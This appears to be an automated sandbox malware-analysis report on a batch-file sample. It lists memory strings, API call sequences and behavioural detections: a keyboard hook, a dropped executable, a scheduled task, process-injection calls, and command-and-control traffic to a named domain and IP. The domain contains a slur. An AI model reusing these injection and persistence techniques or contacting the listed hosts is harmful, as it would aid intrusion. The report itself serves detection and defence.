Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 00000019.00000002.2281104121.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00000225DC64DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64D894 FindFirstFileExW,	9_2_00000225DC64D894
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00000225DC67DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67D894 FindFirstFileExW,	9_2_00000225DC67D894
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00000225DC6ADA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6AD894 FindFirstFileExW,	9_2_00000225DC6AD894
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AEDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00000202C0AEDA18
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AED894 FindFirstFileExW,	10_2_00000202C0AED894
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_000002A66130DA18
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130D894 FindFirstFileExW,	11_2_000002A66130D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_000002BAAED9DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9D894 FindFirstFileExW,	14_2_000002BAAED9D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_000002BAAEE0DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0D894 FindFirstFileExW,	14_2_000002BAAEE0D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_000002BAAEE6DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6D894 FindFirstFileExW,	14_2_000002BAAEE6D894
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6ED894 FindFirstFileExW,	15_2_000002512A6ED894
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6EDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000002512A6EDA18
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_000001BEB0A3DA18
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3D894 FindFirstFileExW,	16_2_000001BEB0A3D894
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CD894 FindFirstFileExW,	20_2_0000026A879CD894
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	20_2_0000026A879CDA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	21_2_00000179537ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537AD894 FindFirstFileExW,	21_2_00000179537AD894
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	21_2_00000179537DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DD894 FindFirstFileExW,	21_2_00000179537DD894
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	22_2_000002295D56DA18
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56D894 FindFirstFileExW,	22_2_000002295D56D894
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_0000025306E6DA18
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6D894 FindFirstFileExW,	23_2_0000025306E6D894
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_0000025306ECDA18
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECD894 FindFirstFileExW,	23_2_0000025306ECD894
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CD894 FindFirstFileExW,	24_2_000001845B3CD894
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	24_2_000001845B3CDA18
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4D894 FindFirstFileExW,	25_2_000001ADECD4D894
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	25_2_000001ADECD4DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907D894 FindFirstFileExW,	26_2_000001D55907D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000001D55907DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590AD894 FindFirstFileExW,	26_2_000001D5590AD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000001D5590ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DD894 FindFirstFileExW,	26_2_000001D5590DD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000001D5590DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	29_2_00000241A9EADA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EAD894 FindFirstFileExW,	29_2_00000241A9EAD894
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	30_2_000001CD7319DA18
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319D894 FindFirstFileExW,	30_2_000001CD7319D894

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: iam.nigga.dad

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 103.230.121.81:4782

Source: Joe Sandbox View

ASN Name: VPSQUANUS VPSQUANUS

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: iam.nigga.dad

Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2318339172.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2318339172.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: lsass.exe, 0000000A.00000000.1990494096.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000003.2197209944.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2309743013.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990890409.00000202C043D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2335171262.00000202C043D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2318339172.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: svchost.exe, 00000032.00000000.2225892296.0000026EF4C2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2226060832.0000026EF4C74000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 0000000A.00000002.2308320698.00000202C0200000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990494096.00000202C0200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2296144477.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990410798.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 0000000A.00000000.1990494096.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000003.2197209944.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2309743013.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990890409.00000202C043D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2335171262.00000202C043D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2318339172.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: lsass.exe, 0000000A.00000000.1990494096.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000003.2197209944.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2309743013.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2318339172.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: svchost.exe, 0000001D.00000002.2312973165.00000241A96E0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 0000000A.00000000.1990365949.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2296144477.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 0000000A.00000002.2294720513.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990349580.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: lsass.exe, 0000000A.00000000.1990705079.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2318339172.00000202C037F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2326201564.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~
Source: svchost.exe, 00000026.00000000.2153697847.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.2288176120.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msftconnecttest.com
Source: svchost.exe, 00000026.00000000.2153697847.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.2288176120.000001AABFC8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msftconnecttest.com/
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp, Null.5.dr, Null.28.dr	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6041000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6xG_
Source: svchost.exe, 00000031.00000002.2367360741.0000020D260D8000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2309382553.0000020D25613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2214085696.0000020D26029000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2210065535.0000020D25613000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comSRD1%
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: svchost.exe, 00000032.00000002.2288807252.0000026EF4C74000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://otelrules.azureedge.net/
Source: svchost.exe, 00000032.00000002.2291959517.0000026EF4C7B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://otelrules.azureedge.net/lse
Source: svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2383762701.0000020D26586000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.comSRD1-
Source: svchost.exe, 00000031.00000000.2210065535.0000020D25613000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: svchost.exe, 00000031.00000002.2309382553.0000020D25613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2210065535.0000020D25613000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com%
Source: svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2383762701.0000020D26586000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2384491857.0000020D265BD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2221218953.0000020D265BD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comSRD13
Source: Microsoft-Windows-PushNotification-Platform%4Operational.evtx.26.dr	String found in binary or memory: https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq
Source: svchost.exe, 00000031.00000000.2219839835.0000020D264CE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: svchost.exe, 00000031.00000002.2377995052.0000020D26484000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2383762701.0000020D26586000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000000.2210283099.0000020D25681000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.2316304169.0000020D25681000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comSRD1#

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Windows user hook set: 0 keyboard low level C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Windows\System32\dllhost.exe

Process information set: 01 00 00 00

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 4544, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Found large BAT file

Source: x.bat

Static file information: 7312129

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\$nya-onimai2\IfMUlU.exe

Jump to dropped file

Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140001868 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	8_2_0000000140001868
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC642C80 TlsGetValue,TlsGetValue,TlsGetValue,NtEnumerateValueKey,NtEnumerateValueKey,NtEnumerateValueKey,TlsSetValue,TlsSetValue,TlsSetValue,	9_2_00000225DC642C80
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AE2300 NtQuerySystemInformation,StrCmpNIW,	10_2_00000202C0AE2300
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED92C80 TlsGetValue,TlsGetValue,TlsGetValue,NtEnumerateValueKey,NtEnumerateValueKey,NtEnumerateValueKey,TlsSetValue,TlsSetValue,TlsSetValue,	14_2_000002BAAED92C80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\$rbx-onimai2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\$rbx-onimai2\$rbx-CO2.bat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\$nya-SgIauazY	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\$nya-onimai2	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\$nya-onimai2\IfMUlU.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\$rbx-onimai2

Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140001CF0	8_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140002D4C	8_2_0000000140002D4C
Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_00000001400031D0	8_2_00000001400031D0
Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140001274	8_2_0000000140001274
